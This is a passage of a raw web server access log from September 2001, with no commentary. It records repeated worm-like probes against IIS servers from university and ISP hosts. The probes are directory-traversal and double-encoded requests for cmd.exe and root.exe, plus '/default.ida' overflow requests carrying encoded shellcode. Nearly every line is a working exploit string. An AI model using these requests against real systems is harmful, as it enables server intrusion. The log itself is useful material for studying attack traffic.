/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:10:18: [128.164.247.208] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:10:36: [128.164.247.208] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:10:54: [128.164.247.208] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:11:12: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 23:20:28: inf130-p4.cosapidata.com.pe [200.37.255.130] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 23:26:35: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 23:27:00: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 23:27:18: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:27:36: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:27:55: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:28:13: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:28:31: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:28:50: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:29:08: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:29:26: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:29:45: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:30:03: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:30:21: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:30:40: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:30:58: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:31:16: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:31:35: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 23:41:56: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 23:42:15: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:42:33: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:42:51: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:43:09: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:43:28: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 23:43:46: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:44:04: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 23:44:22: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:44:41: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:44:59: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:45:17: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:45:35: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:45:54: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:46:12: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:46:30: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:46:49: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:47:07: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:47:25: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:47:43: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:48:01: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:48:20: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:48:38: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:48:56: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:49:14: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:49:33: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:49:51: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:50:09: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:50:28: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:50:46: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:51:04: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:51:22: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 23:56:42: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 23:56:45: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:56:47: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:56:50: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:56:53: dialup-cc3-15.cc.columbia.edu [128.59.42.120] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 23:57:06: dhcp9535183.columbus.rr.com [24.95.35.183] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 00:06:19: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 00:11:44: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 00:12:02: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:12:20: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:12:39: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:12:57: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:13:15: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:13:33: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:13:51: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:14:19: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:14:37: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:14:55: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:15:13: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:15:32: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:15:50: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:16:08: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:16:26: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:57: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:58: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:58: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:58: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:58: kiefer.stat.cornell.edu [128.253.217.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:20:58: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 00:40:33: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 00:40:52: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:41:10: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:41:28: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:41:46: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:42:04: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:42:22: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:42:41: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:42:59: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:43:17: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:43:35: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:43:53: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:44:12: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:44:30: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:44:48: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:45:06: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 00:46:12: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 00:46:30: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:46:48: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:47:06: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:47:24: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:47:43: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:48:01: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:48:19: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 00:48:19: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:48:37: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:48:55: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:49:14: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:49:32: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:49:50: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:50:08: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:50:26: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:50:45: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 00:51:35: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 00:57:26: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 00:57:44: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 00:58:02: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 00:58:20: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:58:38: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:58:57: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:59:15: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:59:33: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 00:59:51: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:00:09: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:00:27: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:00:46: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:01:04: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:01:22: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:01:40: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:01:58: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:02:16: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:02:35: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:02:53: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:03:11: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:03:29: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:03:48: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:04:06: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:04:24: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:04:43: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:05:01: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:05:19: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:05:37: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:05:57: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:06:19: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:06:37: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:06:55: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 01:12:26: [128.97.73.225] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 01:12:44: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 01:13:02: [128.97.73.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 01:13:20: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:13:38: [128.97.73.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:13:57: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:14:15: [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 01:14:33: [128.97.73.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:14:51: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:15:09: [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 01:15:27: [128.97.73.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:15:46: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:16:04: [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:16:22: [128.97.73.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:16:40: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:16:58: [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:17:17: [128.97.73.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:17:35: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:17:53: [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:18:11: [128.97.73.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:18:29: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:18:47: [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:19:06: [128.97.73.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:19:24: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:19:42: [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:20:00: [128.97.73.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:20:18: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:20:36: [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:20:55: [128.97.73.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:21:13: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:21:31: [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:21:49: [128.97.73.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:22:07: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:22:26: [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:22:44: [128.97.73.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:23:02: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:23:20: [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:23:38: [128.97.73.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:23:56: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:24:15: [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:24:33: [128.97.73.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:24:51: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:25:09: [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:25:27: [128.97.73.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:25:45: [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:26:04: [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:26:22: [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 01:26:40: 